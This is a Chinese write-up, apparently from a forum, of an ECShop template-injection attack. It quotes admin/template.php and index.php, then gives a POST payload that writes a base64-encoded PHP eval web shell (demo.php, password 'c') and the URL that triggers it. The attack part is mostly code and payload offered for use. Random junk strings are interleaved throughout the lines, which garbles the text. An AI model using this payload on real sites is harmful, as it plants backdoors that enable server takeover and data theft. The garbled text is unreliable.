首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板; B0 i% l& h9 i$ c
% Z. D4 d7 }/ F8 A, y而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
9 W4 K; `6 l) y6 y& Y0 z但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
/ @* F% a. ?# |2 U3 r) P7 @3 Tadmin/template.php) d2 k' h8 C$ c/ G2 D
" N5 W+ N: X- i7 r0 j* u2 r
1 if ($_REQUEST['act'] == 'update_library') 4 Q( R- A7 q2 u& G' `
2 ]) G3 z W l. ?8 D2
8 o @+ T: p) V4 K- o0 W
6 Y0 ]: ~ N5 e% G8 ^% M+ o8 }8 [3 { 9 F! e- g' {4 B0 q, o# r
$ Z, B' v; j8 K9 t
4 check_authz_json('library_manage');
3 S* `4 m3 g* Q F# g8 T3 z
' c& D4 }! w9 ]7 Z4 m5
% h% z/ l) o2 z9 u& c! m" K6 @$ J6 J. D& a; z
6 $html = stripslashes(json_str_iconv($_POST['html']));
0 o' q! O( o1 ]0 Q/ C( z
# o: ]5 d7 F$ R/ z7
/ A5 W: L8 w+ f3 Q
- k- l+ j0 e' G% G) C q2 `% R! T8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 4 N$ I* h( [: L2 w" o" _9 B" d
$ ]; W" ?6 [) V1 W
9
: d+ m! A0 f( k! O& z/ F/ } m+ P+ j# o8 g
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 s' V* S+ _$ L. v& R- X% L
{/ G2 V- k: p& v2 n# E
11 0 r% \; G9 w4 U' u' {+ V
, Y7 w; a6 }7 s( U" B" n( k: O12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
3 {. m5 r8 i( x+ J1 r" u( \% ]9 V9 W: D9 t- |$ q
13 m% ~! R6 `/ f- _
0 [) D q$ X' e/ y4 @: H14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 : e, u; w7 u$ v. g E
$ O8 S# g$ V" O& U% [( }( p3 j15 { 1 v( Q+ K% b* o5 U8 j# H
( A% _9 J' Z7 k6 ^) {0 U% H( K% |
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
- k( e1 m: z" I8 |' h7 M6 l, A8 P W
17 make_json_result('', $_LANG['update_lib_success']);
" B# e7 T, t1 B$ ]5 s% i/ B, ?, Z% Y/ ^# V% A% ^) [3 A- E: p5 {
18 } ! M8 b2 T8 T- F6 y6 ]6 K% O
4 M7 m; u7 O# u. d5 E19 else
2 K, G1 h- m" [$ S% W8 N' r# n+ Y) \/ r4 n$ C' S* g9 b! b' h
20 {
2 v4 N" a; C3 ?( @
8 w- X% O3 z: k7 X1 e8 W2 z3 Z21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 4 s2 {* z$ w) y. _! V; ?& L
0 U) D! z+ M- O9 O( M5 j8 o
22 } ' X) B8 r2 y! q' V3 h E
1 E G" n6 K9 m9 a
23 }
( s/ F; A3 r4 S" J7 ]/ s6 |- h0 ?3 X. R' w& L# b& B
那么找个比较方便调用了模板的文件8 A) ~2 W! ` j# j* ^9 k! d9 O% u ^! Y$ o
index.php* n( Q' c e' d k; V- H
9 o j" N0 A/ j3 Y7 {- w, Y1 if ($act == 'cat_rec') 2 q1 V/ r" J+ t1 l% Q0 A2 G
3 @3 s2 r) E" b' A! b! D9 V
2
* W3 b; c' }& ]' k
5 x- u r& [' L3 O2 E3 { * z$ w7 x. ^2 _
" N% H% S s- r; D. w$ l3 a
4
L* D# i% r+ Q. X! N; E' f7 y4 q3 x1 @# ]; J5 a
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
8 a9 o, \$ x0 N }7 T
: ^; `- G$ |. k$ T: }; h6
4 g1 |6 n1 y2 Q* K) P8 N* K3 t0 f' x5 f7 m! G" h
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ' Q( d8 Y8 h1 S" h" R
: b8 g# [* R- ^& R$ O
8
. v* R/ x# P) `
, l8 b$ ? I- M3 S' z/ Q K9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
' U3 f/ z0 m- M* Q$ t
- i) p# G/ c0 `10 & C. `- R1 `: |3 G7 v- {4 q. Z
1 r) A- `" R' W
11 include_once('includes/cls_json.php');
, U; R4 O2 ]8 z. T4 G" ?% r4 ]3 _- W2 a3 C' Z
12 ! Q5 d# S$ `/ R3 C* G* i, t, \
, t3 _% G$ q+ k; h! w' R
13 $json = new JSON; 5 s6 R) \3 h0 `, C6 h
, f# V+ }. H3 U- f* W4 O% }14 6 H1 d6 N. K9 V; J0 p4 Z6 T8 V: m6 w7 {
8 C) Q2 q% i5 U3 r: G" B
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 5 X/ p6 x+ m1 m9 [) l
3 H# z5 O# U" Y2 Q% o4 x$ m6 G. a- C16
/ ^6 V7 d* P' \+ I9 Y
: Q2 ~2 t, w" H$ E0 G- w17 $children = get_children($cat_id); + |, _/ ?8 o5 Y
4 J9 W) J" |, W* z. h8 v. f
18 . _4 ^# t* y# R8 Z
& m+ L) _1 j9 v( C, _; d O0 u19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 / Q9 y0 @2 H6 W& ~
1 A% }% A# a+ o* L
20 6 M, `5 |0 n1 Z- e! c" i3 \2 }
7 b k4 o7 L, ]/ h+ A
21 $smarty->assign('cat_rec_sign', 1);
" I: R! E+ Z$ g% n: U
" N# g5 N2 N% F9 r/ V22
$ S/ T% p% o. c$ W1 t: S, g4 }- o* n6 y0 {8 e
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
2 G; t4 X6 W0 a5 u; I* y7 S
/ a7 J6 ?: D% ]1 @( }24
6 y' B/ A* q3 n) k% L H U
z$ m0 a( s1 E% u! ]2 b3 M25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; , R+ n0 k: A: j9 o
6 D5 c/ l2 L' \% z% E# _- }
26 ( i% A2 I/ n/ V( s
8 N! B: h# Y) T* d2 }$ y27 echo $rec_array[$rec_type];
* E- n# o2 O+ K( y# y8 m8 n! t! P
4 W. a; o6 m. A5 v5 R28 ( i+ _$ ]$ d( u( C( O
0 B; M: J! M8 `3 {29 die($json->encode($result)); 9 R8 D% o" h6 c6 v" U! E" ]
3 O4 l9 g, [: {" J
30 / N3 V2 p' R& ]
/ g8 k/ m" i: O8 K* w/ R1 F2 {31 } : }, |% w( V. M: Z# q) ]
* w% h( [6 u8 @! V7 Z5 H3 {那么就有利用方法了
% o7 T; }- c/ Fpost包到http://localhost/ec/admin/template.php?act=update_library
6 p( G# P3 f, K$ R1 h- m: h& r: DPost内容:( \9 ?* @- m8 x& y' Y. T. G
1 L6 f# N9 j9 N: ~6 G
- P( Q5 o& T' W5 j( ]1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 2 K0 I0 \( U& u2 |. j
8 f7 b+ x1 Q) \. |; m4 P然后访问http://localhost/ec/index.php?act=cat_rec
9 Q, t5 @7 D3 w8 l ~
6 w4 y) D, u$ W8 Hshel地址:http://localhost/ec/demo.php
( `) y: ~. }' U, q8 e ~! v. G( ]+ q密码c
, ]% C- l1 w/ Y! l
+ q& T3 F7 E) W |